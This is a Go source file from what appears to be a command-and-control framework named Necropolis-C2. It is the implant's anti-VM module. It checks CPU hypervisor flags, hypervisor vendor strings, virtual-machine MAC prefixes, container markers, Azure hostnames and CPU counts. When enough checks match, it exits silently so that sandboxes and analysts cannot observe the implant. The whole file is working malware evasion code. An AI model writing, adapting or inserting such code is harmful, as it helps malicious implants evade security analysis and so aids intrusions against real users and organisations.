Files
Necropolis-C2/implant/core/antivm.go
T
2026-07-07 04:50:23 +01:00

227 lines
4.9 KiB
Go

//go:build antivm
package core
import (
"fmt"
"log"
"net"
"os"
"runtime"
"sort"
"strings"
)
type vmCheck struct {
name string
detect func() bool
certainty int
}
// allChecks populated by init() with platform-appropriate techniques
var allChecks []vmCheck
func init() {
registerCheck("hypervisor_cpu", hypervisorCPU, 100)
registerCheck("bochs_cpu", bochsCPU, 100)
registerCheck("cpuid_signature", cpuidSignature, 95)
registerCheck("cpu_brand_vm", cpuBrandVM, 95)
registerCheck("thread_mismatch", threadMismatch, 50)
registerCheck("thread_count", threadCount, 35)
registerCheck("container_env", containerEnv, 30)
registerCheck("dockerenv", dockerEnv, 30)
registerCheck("azure_hostname", azureHostname, 30)
registerCheck("mac_vmware", macVMware, 20)
registerCheck("mac_virtualbox", macVirtualBox, 20)
registerCheck("mac_qemu", macQEMU, 20)
registerCheck("mac_xen", macXen, 20)
}
const detectionThreshold = 50
func registerCheck(name string, fn func() bool, certainty int) {
allChecks = append(allChecks, vmCheck{name: name, detect: fn, certainty: certainty})
}
func DetectVM() {
defer func() {
if r := recover(); r != nil {
log.Printf("[antivm] FATAL: %v", r)
}
}()
sort.Slice(allChecks, func(i, j int) bool {
return allChecks[i].certainty > allChecks[j].certainty
})
var score int
var hits []string
for _, c := range allChecks {
func() {
defer func() {
if r := recover(); r != nil {
log.Printf("[antivm] panic in %s: %v", c.name, r)
}
}()
if c.detect() {
score += c.certainty
hits = append(hits, fmt.Sprintf("%s(+%d)", c.name, c.certainty))
log.Printf("[antivm] +%d%% %s (total: %d)", c.certainty, c.name, score)
}
}()
}
if score > 100 {
score = 100
}
log.Printf("[antivm] score %d/%d (%d techniques)", score, detectionThreshold, len(hits))
if score >= detectionThreshold {
log.Printf("[antivm] threshold met, exiting")
os.Exit(0)
}
log.Printf("[antivm] below threshold, continuing")
}
// Cross-platform checks
var vmwarePrefixes = []string{
"00:50:56", "00:0c:29", "00:05:69", "00:1c:14",
"00:3c:7d", "00:0f:4b",
}
var vboxPrefixes = []string{"08:00:27"}
var qemuPrefixes = []string{"52:54:00"}
var xenPrefixes = []string{"00:16:3e"}
func macMatch(prefixes []string) bool {
ifaces, err := net.Interfaces()
if err != nil {
return false
}
for _, iface := range ifaces {
mac := iface.HardwareAddr.String()
for _, p := range prefixes {
if strings.HasPrefix(strings.ToLower(mac), strings.ToLower(p)) {
return true
}
}
}
return false
}
func macVMware() bool { return macMatch(vmwarePrefixes) }
func macVirtualBox() bool { return macMatch(vboxPrefixes) }
func macQEMU() bool { return macMatch(qemuPrefixes) }
func macXen() bool { return macMatch(xenPrefixes) }
func threadCount() bool {
return runtime.NumCPU() < 2
}
func threadMismatch() bool {
n := runtime.NumCPU()
// Most modern CPUs have >=4 threads
return n < 4
}
func containerEnv() bool {
for _, e := range []string{"container", "DOCKER", "KUBERNETES", "LXC"} {
if os.Getenv(e) != "" {
return true
}
}
return false
}
func dockerEnv() bool {
if _, err := os.Stat("/.dockerenv"); err == nil {
return true
}
if _, err := os.Stat("/run/.containerenv"); err == nil {
return true
}
return false
}
func hypervisorCPU() bool {
if runtime.GOARCH != "amd64" {
return false
}
if runtime.GOOS == "linux" {
data, err := os.ReadFile("/proc/cpuinfo")
if err != nil {
return false
}
for _, line := range strings.Split(string(data), "\n") {
if strings.Contains(line, "hypervisor") {
return true
}
}
}
return false
}
func cpuBrandVM() bool {
if runtime.GOARCH != "amd64" || runtime.GOOS != "linux" {
return false
}
data, err := os.ReadFile("/proc/cpuinfo")
if err != nil {
return false
}
content := string(data)
for _, s := range []string{"QEMU", "KVM", "VirtualBox", "VMware", "Bochs",
"KVMKVMKVM", "Microsoft Hv", "VBoxVBoxVBox",
"VMwareVMware", "XenVMMXenVMM", "ACRNACRNACRN"} {
if strings.Contains(content, s) {
return true
}
}
return false
}
func bochsCPU() bool {
if runtime.GOOS != "linux" {
return false
}
content := readFile("/proc/cpuinfo")
return strings.Contains(content, "Bochs") || strings.Contains(content, "bochs")
}
func cpuidSignature() bool {
if runtime.GOOS != "linux" {
return false
}
content := readFile("/proc/cpuinfo")
for _, sig := range []string{
"KVMKVMKVM", "Microsoft Hv", "prl hyperv",
"VBoxVBoxVBox", "VMwareVMware", "XenVMMXenVMM",
"ACRNACRNACRN",
} {
if strings.Contains(content, sig) {
return true
}
}
return false
}
func azureHostname() bool {
hostname, err := os.Hostname()
if err != nil {
return false
}
return strings.HasSuffix(strings.ToLower(hostname), "internal.cloudapp.net")
}
func readFile(path string) string {
data, err := os.ReadFile(path)
if err != nil {
return ""
}
return strings.TrimSpace(string(data))
}